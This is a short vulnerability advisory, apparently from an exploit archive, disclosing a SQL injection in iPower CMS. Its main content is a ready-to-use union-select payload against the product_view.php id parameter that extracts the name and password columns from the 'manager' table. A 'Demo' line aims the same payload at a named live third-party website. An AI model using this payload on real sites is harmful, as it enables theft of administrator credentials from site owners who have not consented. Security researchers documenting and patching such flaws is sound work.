iPower CMS SQL Injection

`######################### Securitylab.ir ########################  
# Application Info:  
# Name: iPower CMS   
# Website: http://www.dingwei.cn  
#################################################################  
# Discoverd By: Securitylab.ir  
# Website: http://securitylab.ir  
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir  
#################################################################  
# Vulnerability Info:  
# Type: Sql injection  
# Risk: Medium  
#===========================================================  
# Exploit:  
# http://site.com/product_view.php?id=[] and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,name,13,14,15,password,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from manager--  
#   
# Demo:  
# http://www.bblbao.com/product_view.php?id=1019 and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,name,13,14,15,password,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from manager--  
#===========================================================  
#################################################################  
# Securitylab Security Research Team  
###################################################################  
  
  
  
`